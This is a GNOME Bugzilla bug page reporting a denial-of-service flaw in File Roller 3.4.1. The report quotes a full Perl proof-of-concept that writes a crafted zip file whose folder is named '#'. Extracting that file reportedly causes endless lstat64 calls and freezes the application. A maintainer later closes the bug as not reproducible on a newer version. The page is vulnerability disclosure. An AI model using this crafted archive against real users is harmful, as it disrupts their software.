After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 752245 - File Roller v3.4.1 – DoS PoC
File Roller v3.4.1 – DoS PoC
Status: RESOLVED OBSOLETE
Product: file-roller
Classification: Applications
Component: general
3.4.x
Other All
: Normal normal
: ---
Assigned To: file-roller-maint
file-roller-maint
Depends on:
Blocks:
 
 
Reported: 2015-07-10 18:21 UTC by Olav Vitters
Modified: 2015-08-31 16:24 UTC
See Also:
GNOME target: ---
GNOME version: ---



Description Olav Vitters 2015-07-10 18:21:33 UTC
http://www.antihackers.ro/blog/file-roller-v3-4-1-dos-poc/


#!/usr/bin/perl
#
# Title: File Roller - DoS PoC
# Date: 08/07/2015
# Homepage: https://wiki.gnome.org/Apps/FileRoller
# Version: v3.4.1
# Tested on: Linux lab 3.2.0-85-generic-pae #122-Ubuntu i686 i386 GNU/Linux
# -------------------------------------------------------------------------
# Create a zip file with a folder inside named: #
#
# Run: file-roller --extract-here test.zip
#
# Result: endless call's of lstat64() (50 % CPU usage) (Freeze app)
#
$zip = "\x50\x4b\x03\x04\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x10\x80\xfd\x41\x00\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x30\x00\x00\x00" .
       "\x20\x00\x00\x00\x00\x00";
                     
open FILE, ">poc.zip" or die("Can't open poc.zip\n") ;
binmode(FILE) ;
print FILE $zip ;
close FILE ;
Comment 1 Paolo Bacchilega 2015-08-31 16:24:40 UTC
Version 3.4 is very old, and I cannot reproduce the problem with version 3.16.3.